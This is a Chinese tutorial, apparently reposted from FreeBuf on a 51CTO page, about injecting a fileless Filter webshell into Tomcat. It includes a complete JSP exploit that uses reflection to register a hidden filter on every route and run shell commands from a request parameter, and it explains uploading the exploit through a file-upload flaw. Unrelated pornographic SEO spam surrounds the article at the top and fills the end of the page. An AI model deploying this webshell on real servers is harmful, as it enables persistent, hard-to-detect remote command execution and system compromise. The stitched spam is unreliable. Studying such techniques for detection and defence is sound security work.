精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Java內(nèi)存馬連續(xù)劇——Filter內(nèi)存馬

安全 應(yīng)用安全
注入成功后,我們對(duì)服務(wù)器訪問(wèn)任何請(qǐng)求,都會(huì)執(zhí)行惡意代碼。而且當(dāng)jsp文件刪除后,木馬仍然有效。它存在當(dāng)前的web應(yīng)用上下文中,所以重啟服務(wù)器就沒(méi)了。

知識(shí)基礎(chǔ):

剛開(kāi)始內(nèi)存馬的這塊學(xué)習(xí)與反序列化并無(wú)太大關(guān)系,反而與javaweb,tomcat聯(lián)系更加緊密。所以在學(xué)習(xí)內(nèi)存馬之前需要先了解JSP,java web的三大件,Servlet,F(xiàn)ilter,Listener的基本知識(shí)和工作流程和Tomcat 架構(gòu)的相關(guān)內(nèi)容。

0x01 什么是Filter馬

內(nèi)存馬就是無(wú)文件木馬,無(wú)文件落地,它通常會(huì)存在進(jìn)程,內(nèi)存或者java虛擬機(jī)中,特點(diǎn)更加隱蔽,難以排查,并且也難以刪除。而今天學(xué)習(xí)的Filter內(nèi)存馬是傳統(tǒng)web應(yīng)用型內(nèi)存馬,主要將惡意代碼注入到過(guò)濾器中,當(dāng)過(guò)濾器攔截servlet請(qǐng)求的參數(shù)時(shí),過(guò)濾器中的惡意代碼就會(huì)執(zhí)行。

0x02 環(huán)境搭建

首先配置一個(gè) servlet 的web項(xiàng)目,

1.png1.png

然后一直點(diǎn)下一步就好了,它會(huì)自動(dòng)幫我們生成一個(gè)簡(jiǎn)單的servlet。

pom.xml中導(dǎo)入tomcat相關(guān)依賴:


<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.38</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>9.0.38</version>
</dependency>


方便之后調(diào)試代碼,在這之后我們創(chuàng)建一個(gè)自定義的Filter過(guò)濾器


package com.example.memoryhorse;
import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter{

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("執(zhí)行過(guò)濾功能");
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("cmd"));
Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
}
}


重寫了doFilter方法,里面添加惡意代碼,接收cmd參數(shù),執(zhí)行任意命令。web.xml中配置相關(guān)參數(shù)


<filter>
<filter-name>MyFilter</filter-name>
<filter-class>com.example.memoryhorse.MyFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>MyFilter</filter-name>
<url-pattern>/MyFilter</url-pattern>
</filter-mapping>


這里我定義的是/MyFilter路由,在訪問(wèn)這個(gè)路由時(shí),就會(huì)被我們自定義的過(guò)濾器攔截。

0x03 Filter內(nèi)存馬探索

這個(gè)時(shí)候是不是就有點(diǎn)像內(nèi)存馬的樣子,我們注冊(cè)了一個(gè)惡意的 /MyFilter 路由,訪問(wèn)這個(gè)路由可以執(zhí)行任意代碼。測(cè)試一下。

2.png2.png

成功彈出計(jì)算器,這也是注入Filter內(nèi)存馬的一個(gè)抽象的體現(xiàn)。然而在實(shí)際攻防場(chǎng)景中,我們不可能在別人服務(wù)器上插入自己自定義的過(guò)濾器,web.xml這個(gè)配置文件也不是那么容易修改,就算修改了配置文件也很好排查,起不到隱秘的效果,要想動(dòng)態(tài)的注冊(cè)Filter馬,就必須弄清楚過(guò)濾器的創(chuàng)建和調(diào)用過(guò)程。

1.tomcat Filter 的流程分析

在MyFilter的doFilter方法里下個(gè)斷點(diǎn),訪問(wèn)/MyFilter路由,會(huì)被我們自定義的過(guò)濾器攔截,doFilter方法是處理過(guò)濾功能的方法,開(kāi)始調(diào)試。

3.png3.png

這個(gè)filterChain是一個(gè)過(guò)濾器鏈,通過(guò)調(diào)試看到里面存放著兩個(gè)過(guò)濾器,一個(gè)是我們自定義的,一個(gè)是 tomcat 自帶的,跟進(jìn)它的doFilter方法。

判斷 Globals.IS_SECURITY_ENABLED 安全模式是否開(kāi)啟,這里判斷false。

4.png4.png

跟進(jìn) internalDoFilter 方法。

5.png5.png

filters 是過(guò)濾器鏈數(shù)組,取數(shù)組的下標(biāo),遍歷過(guò)濾器,賦值給filterConfig。

6.png6.png

此時(shí)的過(guò)濾器為WsFilter 調(diào)用它的doFilter方法,跟進(jìn)看一下。

7.png7.png

這里的判斷 是否滿足WebSocket握手的特殊條件,而且是否已經(jīng)配置了相應(yīng)的類來(lái)處理WebSocket連接,如果兩個(gè)都不滿足,然后回調(diào)用過(guò)濾器鏈中的下一個(gè)過(guò)濾器。繼續(xù)跟進(jìn)。

又回到了 internalDoFilter 方法,此時(shí)pos=2,不滿足if條件。也就是說(shuō)當(dāng)過(guò)濾器遍歷完后,就會(huì)調(diào)用 service 方法處理具體的業(yè)務(wù)請(qǐng)求。

8.png8.png

事實(shí)上可以定義多個(gè)過(guò)濾器,當(dāng)攔截請(qǐng)求后,從filterChain 中一個(gè)個(gè)調(diào)用doFilter方法,最終執(zhí)行 service 方法。

那么Filter鏈?zhǔn)窃趺匆徊讲絼?chuàng)建的,我們要注冊(cè)一個(gè)惡意的Filter進(jìn)去就需要了解Filter鏈的創(chuàng)建過(guò)程。

9.png9.png

通過(guò)執(zhí)行流可以看到不斷調(diào)用 invoke 方法,跟進(jìn)最后一個(gè) invoke方法,也就是 StandardWrapperValve 類的 invoke 方法。

10.png10.png

這里已經(jīng)創(chuàng)建好了 Filter鏈,往上翻代碼。

11.png11.png

createFilterChain 就是創(chuàng)建Filter鏈的重要方法,進(jìn)入到這個(gè)方法下個(gè)斷點(diǎn),開(kāi)始調(diào)試。

12.png12.png

這里實(shí)例化一個(gè)filterChain,設(shè)置了當(dāng)前過(guò)濾器鏈中的 Servlet,然后獲取當(dāng)前 Servlet 包含在的上下文,從調(diào)式信息就可以看到是 StandardContext 對(duì)象,最后定義一個(gè)filterMaps 獲取了當(dāng)前上下文中的過(guò)濾器映射。

13.png13.png

此時(shí)的filterMaps就獲取到了兩個(gè)過(guò)濾器,到后面會(huì)對(duì)filterMaps進(jìn)行兩次遍歷。

這段代碼的目的是將根據(jù) URL 和 Servlet 名稱匹配的過(guò)濾器配置添加到過(guò)濾器鏈中,以確保在請(qǐng)求處理過(guò)程中應(yīng)用適當(dāng)?shù)倪^(guò)濾器。匹配過(guò)濾器配置時(shí),會(huì)檢查 Dispatcher 類型、URL 和 Servlet 名稱,然后將匹配的過(guò)濾器配置添加到過(guò)濾器鏈中。如果沒(méi)有匹配的過(guò)濾器配置,繼續(xù)處理下一個(gè)過(guò)濾器映射。

14.png14.png

filterConfig 是通過(guò)調(diào)用context上下文的findFilterConfig方法獲取,filterConfigs是一個(gè)Map,從里面拿。

15.png15.png

最后通過(guò) addFilter 方法將過(guò)濾器添加到鏈中。

2.攻擊思路分析

過(guò)濾器是從filterConfigs這個(gè)Map里拿的,那么我們把惡意的Filter添加進(jìn) filterConfigs 里,等它取出來(lái),添加到Filter鏈中就可以了,那么接下來(lái)怎么構(gòu)造過(guò)濾器,也就是filterConfig,看調(diào)試信息。

16.png16.png

首先獲取上下文context,然后就是自定義的filter代碼,最后一個(gè)filterDef就是對(duì)應(yīng)web.xml中對(duì)filter的配置,fiterConfig的相關(guān)內(nèi)容都是從context中得到。


FilterDefs:存放 FilterDef 的數(shù)組 ,F(xiàn)ilterDef 中存儲(chǔ)著我們過(guò)濾器名,過(guò)濾器實(shí)例
等基本信息
FilterConfigs:存放 filterConfig 的數(shù)組,在 FilterConfig 中主要存放 FilterDef 和
Filter 對(duì)象等信息
FilterMaps:存放 FilterMap 的數(shù)組,在 FilterMap 中主要存放了 FilterName 和 對(duì)
應(yīng)的 URLPattern


所以只要我們將filter ,F(xiàn)ilterDefs,F(xiàn)ilterMaps添加到FilterConfigs中就可以添加filter了。

貼上別的師傅的流程圖:

17.png17.png

其中這里涉及到了幾個(gè)類:


ServletContext:
javax.servlet.ServletContextServlet規(guī)范中規(guī)定了的一個(gè)ServletContext接口,提供了Web應(yīng)用所有Servlet的視圖,通過(guò)它可以對(duì)某個(gè)Web應(yīng)用的各種資源和功能進(jìn)行訪問(wèn)。WEB容器在啟動(dòng)時(shí),它會(huì)為每個(gè)Web應(yīng)用程序都創(chuàng)建一個(gè)對(duì)應(yīng)的ServletContext,它代表當(dāng)前Web應(yīng)用。并且它被所有客戶端共享。 

ApplicationContext:
org.apache.catalina.core.ApplicationContext
對(duì)應(yīng)Tomcat容器,為了滿足Servlet規(guī)范,必須包含一個(gè)ServletContext接口的實(shí)現(xiàn)。Tomcat的Context容器中都會(huì)包含一個(gè)ApplicationContext。

StandardContext:
Catalina主要包括Connector和Container,StandardContext就是一個(gè)Container,它主要負(fù)責(zé)對(duì)進(jìn)入的用戶請(qǐng)求進(jìn)行處理。實(shí)際來(lái)說(shuō),不是由它來(lái)進(jìn)行處理,而是交給內(nèi)部的valve處理。
一個(gè)context表示了一個(gè)外部應(yīng)用,它包含多個(gè)wrapper,每個(gè)wrapper表示一個(gè)servlet定義。(Tomcat 默認(rèn)的 Service 服務(wù)是 Catalina)


引用師傅的解釋,當(dāng)前這是前面tomcat架構(gòu)的內(nèi)容,所以基礎(chǔ)內(nèi)容還是要了解。

0x04 Filter內(nèi)存馬exp編寫

通過(guò)反射創(chuàng)建上面需要的幾個(gè)對(duì)象:


<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%


//請(qǐng)求對(duì)象 request 中獲取 ServletContext 對(duì)象。
ServletContext servletContext = request.getServletContext();
//ApplicationContextFacade 是 Spring 框架中的一個(gè)類,用于封裝 Spring 的 Web 應(yīng)用程序上下文。
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
//通過(guò)反射獲取上下文
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);


// context 字段,即 Spring 的應(yīng)用程序上下文對(duì)象。通過(guò)反射獲取到該字段的值,它被強(qiáng)制轉(zhuǎn)換為 ApplicationContext 類型
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
//從 ApplicationContext 類中獲取一個(gè)名為 "context" 的私有字段。這個(gè)字段存儲(chǔ)了實(shí)際的 Spring 應(yīng)用程序上下文對(duì)象
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//類型轉(zhuǎn)換standardContext,標(biāo)準(zhǔn)的web應(yīng)用程序上下文
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);


//創(chuàng)建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){
//構(gòu)造filter對(duì)象
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}


@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println(servletRequest.getParameter("shell"));
Runtime.getRuntime().exec(servletRequest.getParameter("shell"));
System.out.println("執(zhí)行過(guò)濾");
}


@Override
public void destroy() {
}
};
//構(gòu)造filterDef對(duì)象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
//將過(guò)濾器的配置信息添加到應(yīng)用程序上下文中
standardContext.addFilterDef(filterDef);


//構(gòu)造filterMap對(duì)象
FilterMap filterMap = new FilterMap();
//添加映射的路由為所有請(qǐng)求
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//將上述設(shè)置好的過(guò)濾器映射對(duì)象添加到 StandardContext 中,并將其插入到已有的過(guò)濾器映射之前
standardContext.addFilterMapBefore(filterMap);


//構(gòu)造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


//將filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("注入完成");
}
%>


為什么要寫jsp文件,因?yàn)樵趯?shí)際場(chǎng)景中,可以通過(guò)文件上傳漏洞將這個(gè)jsp馬上傳上去完成內(nèi)存馬的注入。注釋上寫了,分步編寫exp。

18.png18.png

注入成功后,我們對(duì)服務(wù)器訪問(wèn)任何請(qǐng)求,都會(huì)執(zhí)行惡意代碼。而且當(dāng)jsp文件刪除后,木馬仍然有效。它存在當(dāng)前的web應(yīng)用上下文中,所以重啟服務(wù)器就沒(méi)了。

參考鏈接:

https://xz.aliyun.com/t/10888

本文作者:XiLitter, 轉(zhuǎn)載請(qǐng)注明來(lái)自FreeBuf.COM

責(zé)任編輯:武曉燕 來(lái)源: ???FreeBuf.COM?
相關(guān)推薦

2023-04-06 10:26:25

Java內(nèi)存馬Jetty

2013-09-17 09:52:05

搜狗BAT

2013-10-12 13:01:51

Linux運(yùn)維內(nèi)存管理

2010-06-30 16:37:46

2015-09-02 10:48:22

2013-10-22 10:23:12

2011-03-25 10:23:22

2010-08-27 13:49:56

2011-09-15 19:11:53

內(nèi)網(wǎng)安全

2009-08-15 10:24:48

2009-02-03 15:37:50

2009-08-10 16:20:13

2010-11-01 16:14:29

2009-06-02 09:09:36

2010-09-14 20:02:14

2024-03-11 08:22:40

Java內(nèi)存泄漏

2013-03-31 15:29:44

敏捷開(kāi)發(fā)

2010-10-26 13:29:28

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

国产成+人+综合+亚洲欧美丁香花| 91福利视频久久久久| 国产va免费精品高清在线| av无码av天天av天天爽| 韩日精品一区二区| 国产欧美日本一区二区三区| 国产在线视频不卡| 91精品国产闺蜜国产在线闺蜜| 久久伦理中文字幕| 精品国产31久久久久久| 日本一区二区三区免费看| 欧美一级黄视频| 自拍偷拍欧美| 日韩福利视频在线观看| 91淫黄看大片| a级网站在线播放| 99久精品国产| 国产精品爽黄69天堂a| 好吊色视频在线观看| 精品少妇一区| 欧美日韩一区三区四区| 青春草在线视频免费观看| 午夜精品久久久久久久99老熟妇 | 欧美日韩一区二区三区免费| 日韩免费av网站| 91tv官网精品成人亚洲| 亚洲国产精品成人精品| 日本xxxx黄色| caoporn-草棚在线视频最| 99久久综合狠狠综合久久| 国产a级全部精品| 一区二区视频免费看| 中国av一区| 日韩欧美一级特黄在线播放| 日本成年人网址| 国产二区三区在线| 久久天天做天天爱综合色| 亚洲在线视频观看| 国产精品第六页| 亚洲欧洲综合| 美女视频久久黄| 级毛片内射视频| 欧美激情99| 日韩欧美一卡二卡| www.日日操| av午夜在线观看| 亚洲卡通欧美制服中文| 日本一区精品| 天天干在线观看| 国产一区二区三区香蕉| 国产成人精品一区二区三区| 国产大片中文字幕在线观看| 综合久久99| 播播国产欧美激情| 日韩中文字幕有码| 欧美调教视频| 欧美精品一区二区高清在线观看 | 美女视频黄 久久| 青草热久免费精品视频| 国产亚洲欧美久久久久| 亚洲成人av| 久久精品国产99国产精品澳门| 成年人的黄色片| 国产精品三p一区二区| 日韩一二三区不卡| 一区二区免费av| 国产情侣一区二区三区| 在线精品亚洲一区二区不卡| 欧美 日韩 国产在线观看| 人妖欧美1区| 一区二区三区产品免费精品久久75| 亚洲一区二区精品在线观看| 在线观看黄色av| 亚洲国产精品二十页| 欧美一区二区视频17c| 免费在线性爱视频| 久久人人97超碰com| 久久久久网址| 天堂av2024| 99r精品视频| 免费国产一区二区| 人成在线免费视频| 国产夜色精品一区二区av| 蜜桃狠狠色伊人亚洲综合网站| 全国男人的天堂网| 久久综合九色综合97婷婷| 女女同性女同一区二区三区91| www.国产免费| www.爱久久.com| 欧美高清一区二区| 婷婷国产在线| 国产欧美综合色| 一本色道久久综合亚洲精品婷婷 | 国产成人精品一区二区三区在线| 欧美日韩成人一区二区| 中文字幕一区二区在线观看视频 | 一个色综合久久| 久久久国产精品网站| 91精品久久久久久久91蜜桃| 精品久久久久久无码人妻| 美女午夜精品| 中文字幕av一区二区三区谷原希美| 三上悠亚在线观看视频| 欧美在线黄色| 欧美中文字幕视频在线观看| 国内av在线播放| 国产精品自拍av| 久久精品美女| а天堂8中文最新版在线官网| 国产精品久久久久久久久免费樱桃 | 久久久久久久久久久影院| 日韩国产精品久久久久久亚洲| 国产久一一精品| 亚洲欧美黄色片| 99精品偷自拍| 亚洲一区二区三区午夜| caoporn视频在线| 欧美亚洲国产一区在线观看网站| 在线观看中文av| 国产精品午夜一区二区三区| 亚洲一二三在线| 黄页网站免费观看| 日本午夜精品视频在线观看| 亚洲最大激情中文字幕| 欧美偷拍视频| 亚洲一区二区三区影院| 亚洲精品视频导航| 国产精品丝袜在线播放| 中日韩美女免费视频网站在线观看 | 99精品国产一区二区三区2021| 亚洲欧洲黄色网| 青青草在线观看视频| 日产欧产美韩系列久久99| 成人久久18免费网站漫画| 高清国产福利在线观看| 亚洲福利一二三区| 天堂在线中文在线| 久久香蕉精品香蕉| 久久夜精品香蕉| 国内av在线播放| 久久久噜噜噜久噜久久综合| 精品人妻大屁股白浆无码| 福利一区二区三区视频在线观看 | 日本一区二区三区在线播放| 性欧美一区二区三区| 国产精品视频九色porn| 日韩人妻精品无码一区二区三区| 一区二区网站| 久久av中文字幕| 在线观看av大片| 本田岬高潮一区二区三区| 中文字幕一区二区三区四区五区人| 日韩精品一区二区三区av| 日韩av中文字幕在线免费观看| 免费中文字幕在线观看| 国产美女在线观看一区| 国产高清精品软男同| 97久久香蕉国产线看观看| 亚洲激情小视频| 国产成人自拍视频在线| 成人av资源网站| 人妻av无码专区| 国产精品日本一区二区不卡视频| 中文字幕日韩在线视频| 性色av免费观看| 久久久久久免费| 精品久久久久av| 美女网站一区| 91超碰中文字幕久久精品| 亚洲欧美高清视频| 亚洲国产美国国产综合一区二区| 性鲍视频在线观看| 欧美精品三级| 国产一区二区久久久| 超黄网站在线观看| 亚洲国产精品va在线看黑人动漫 | 免费观看a视频| 亚洲综合一区二区三区| japanese在线观看| 99国产精品99久久久久久粉嫩| 国产在线精品一区二区三区| 欧产日产国产精品视频| 亚洲女人天堂色在线7777| 日日夜夜狠狠操| 久久久91精品国产一区二区精品| 别急慢慢来1978如如2| 国模精品一区| 成人看片人aa| 午夜影院免费在线| 亚洲黄色在线看| 日韩av一二三区| 91一区二区三区在线播放| 国产精品免费成人| 99久久亚洲精品| 成人av播放| 欧美一级大片| 久久久国产视频91| 天天av天天翘| 678五月天丁香亚洲综合网| 天堂网一区二区三区| 最新国产の精品合集bt伙计| 800av在线播放| 国产美女视频91| 美女喷白浆视频| 狠狠噜噜久久| 亚洲一区二区在线免费观看| 欧亚精品一区| 成人黄色大片在线免费观看| 一区二区三区四区日本视频| 欧美大片在线看| 亚洲精品承认| 亚洲欧美国产一本综合首页| 成人无码一区二区三区| 欧美性猛交xxxxxx富婆| 日韩精品一区二区三| 中文字幕日本不卡| 性少妇bbw张开| 成人精品国产免费网站| 中国黄色片一级| 青青青伊人色综合久久| 无码粉嫩虎白一线天在线观看| 四季av一区二区凹凸精品| 麻豆成人小视频| 麻豆国产欧美一区二区三区r| 99se婷婷在线视频观看| 成人影院网站ww555久久精品| 日韩av电影中文字幕| 涩涩视频在线播放| 欧美激情中文网| 亚洲欧美成人影院| 久热国产精品视频| 日本美女高清在线观看免费| 在线观看日韩www视频免费| 欧洲av在线播放| 欧美精品一区二区三区一线天视频| 国产丝袜在线视频| 欧美日本一区二区三区四区| 久草视频在线免费| 在线视频一区二区免费| 精品免费囯产一区二区三区| 日韩欧亚中文在线| 中日韩精品视频在线观看| 性欧美大战久久久久久久久| 久久综合激情网| 五月综合激情日本mⅴ| 日本熟妇毛耸耸xxxxxx| 性做久久久久久免费观看欧美| 久久精品国产亚洲av香蕉 | 一区二区在线高清视频| 久久激情电影| 一区二区三区四区视频在线观看| 日韩在线综合| 青青草原国产免费| 国产精品二区不卡| 亚洲激情免费视频| 国内精品嫩模av私拍在线观看| 国产成人一区二区三区别| 在线国产欧美| 久久精品免费一区二区| 久久国产一二区| 国产一伦一伦一伦| 国产精品自拍av| 久久一区二区电影| 国产色91在线| 国产老头老太做爰视频| 亚洲一区二区三区四区五区黄| 久久精品女人毛片国产| 日韩欧美一区二区三区| a片在线免费观看| 欧美一区二区三区视频在线| 成人免费一级视频| 日韩精品视频免费在线观看| 91在线不卡| 九九热这里只有精品免费看| 国产理论在线| 国产精品久久二区| 免费观看亚洲视频大全| 蜜桃狠狠色伊人亚洲综合网站| 第一sis亚洲原创| 免费的一级黄色片| 国产精品女主播一区二区三区| 国产免费人做人爱午夜视频| 久久er精品视频| 国模私拍在线观看| 国产欧美日韩卡一| 69xx绿帽三人行| 色综合天天天天做夜夜夜夜做| 在线观看免费观看在线| 日韩你懂的电影在线观看| 亚洲人妻一区二区三区| 久久精品99久久香蕉国产色戒 | 国产精品男人爽免费视频1| 亚洲日日夜夜| 久久偷看各类wc女厕嘘嘘偷窃| 色婷婷综合网| 91九色在线观看视频| 久久99精品久久久久久| 一级特级黄色片| 国产精品乱码一区二三区小蝌蚪| 免费在线观看av网址| 欧美在线制服丝袜| 亚洲天堂2018av| 日本不卡视频一区| 国产露脸91国语对白| 久久久亚洲欧洲日产国码αv| 波多野结衣欲乱| 精品magnet| 国产人妖一区二区| 亚洲欧美精品在线| 激情影院在线| 91视频免费网站| av中文字幕一区二区| 99久久国产综合精品五月天喷水| 麻豆一区二区99久久久久| 国产精品麻豆入口| 亚洲欧美日韩小说| 中文字幕av网站| 亚洲三级 欧美三级| 爱情岛论坛亚洲品质自拍视频网站 | 熟女少妇一区二区三区| 亚洲免费av高清| 亚洲熟妇无码久久精品| 亚洲人成电影网站色…| 91av久久| 国产精品嫩草在线观看| 亚洲精品va| 天天干天天色天天干| 国产欧美日韩在线| 欧美啪啪小视频| 日韩极品精品视频免费观看| 好吊日av在线| 国产91亚洲精品一区二区三区| 欧美激情在线| 永久av免费在线观看| 亚洲人精品午夜| 国产精品福利电影| 色吧影院999| 欧美男男gaygay1069| 亚洲乱码一区二区三区 | 亚洲美女屁股眼交3| 国产精品毛片一区二区在线看舒淇 | 免费不卡的av| 亚洲国产日日夜夜| 好吊视频一二三区| 久久免费视频在线观看| 北条麻妃在线一区二区免费播放 | 国产日韩亚洲精品| 在线国产欧美| 国产艳俗歌舞表演hd| 岛国av在线不卡| 免费在线性爱视频| 国产精品免费电影| 日韩国产在线| 91亚洲一区二区| 亚洲美腿欧美偷拍| 黄色三级网站在线观看| 午夜精品久久久久久99热| 日韩欧美国产大片| 欧美激情成人网| 国产精品国产三级国产普通话三级| 91精品人妻一区二区三区果冻| www国产精品视频| 99ri日韩精品视频| 欧美韩国日本在线| 亚洲国产精品t66y| 国产强伦人妻毛片| 久久久综合av| 美女亚洲一区| www.com久久久| 亚洲国产婷婷综合在线精品| 亚洲AV第二区国产精品| 国产成人在线一区二区| 欧美岛国激情| 在线观看免费视频黄| 色综合久久综合网欧美综合网 | 国产精品久久久久久久久果冻传媒| 国产一区二区三区四区视频| 欧美激情视频在线免费观看 欧美视频免费一 | 色哟哟一一国产精品| 精品成人免费观看| 色老太综合网| dy888午夜| 久久影院午夜论| 国产熟女一区二区丰满| 欧美在线视频免费播放| 91影院成人| 极品粉嫩小仙女高潮喷水久久| 欧美日韩在线亚洲一区蜜芽| 欧美精品videossex少妇| 蜜桃传媒一区二区| 国产一区二区三区日韩| 免费看日批视频| 欧美成人午夜激情视频| 欧洲视频一区| 蜜臀av粉嫩av懂色av| 欧美色视频在线观看| а√天堂8资源中文在线| 一区二区日本| 久久亚洲精品国产精品紫薇| av中文字幕观看|